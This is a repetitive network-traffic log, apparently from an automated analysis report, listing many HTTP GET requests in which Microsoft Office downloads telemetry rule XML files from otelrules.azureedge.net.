Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
